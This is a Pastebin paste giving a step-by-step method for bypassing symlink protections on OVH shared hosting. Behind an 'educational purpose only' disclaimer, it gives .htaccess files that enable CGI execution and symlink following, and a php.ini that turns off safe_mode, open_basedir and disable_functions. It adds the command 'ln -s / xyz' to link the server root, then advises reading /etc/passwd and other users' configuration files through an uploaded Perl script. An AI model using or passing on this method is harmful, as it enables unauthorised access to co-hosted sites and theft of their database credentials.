Saint92

(Amir theard) Bypass symlink in OVH Server

Feb 20th, 2016
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.47 KB | None | 0 0
  1. THIS IS FOR EDUCATIONAL PURPOSE ONLY, I AM NOT RESPONSIBLE FOR ANY ILLEGAL ACTIVITIES DONE BY VISITORS, THIS IS FOR ETHICAL PURPOSE ONLY !!!
  2.  
  3. Hello everybody , today i'm going to explain how to bypass symlink in ovh server, well most of hackers find problem in ovh when trying to symlink the server ! this method was found by Mauritania Attacker and it's still private , but i decided it to publish it in public.
  4.  
  5. First you gonna create a dir call it what you want example "abc" then create a '.htaccess" file in the folder "abc"..
  6. Code:
  7.  
  8. Options FollowSymLinks MultiViews Indexes ExecCGI
  9. AddType application/x-httpd-cgi .lnx
  10. AddHandler cgi-script .lnx
  11. AddHandler cgi-script .lnx
  12.  
  13. Secondly we gonna create a second folder we call it example "xyz" we also make an ".htaccess" file
  14. Code:
  15.  
  16. #Developed by Mauri
  17. Options +FollowSymLinks
  18. DirectoryIndex Index.html
  19. Options +Indexes
  20. AddType text/plain .php
  21. AddHandler server-parsed .php
  22. AddType root .root
  23. AddHandler cgi-script .root
  24. AddHandler cgi-script .root
  25.  
  26. Then we create also in the folder "xyz" a file called "php.ini"
  27. Code:
  28.  
  29. safe_mode = Off
  30. disable_functions =
  31. safe_mode_gid = Off
  32. open_basedir = Off
  33. register_globals = on
  34. exec = On
  35. shell_exec = On
  36.  
  37. so here we come to the last part !
  38. we gonna retrieve the configs by typing the following command :
  39.  
  40. ln -s / xyz
  41.  
  42. Here we go we have succesfully retrieved the root path , so now to find the configs , we can upload a perl file in "xyz" and paste the users of the server "etc/passwd"
  43. and the rest is very basic....
Advertisement
Add Comment
Please, Sign In to add comment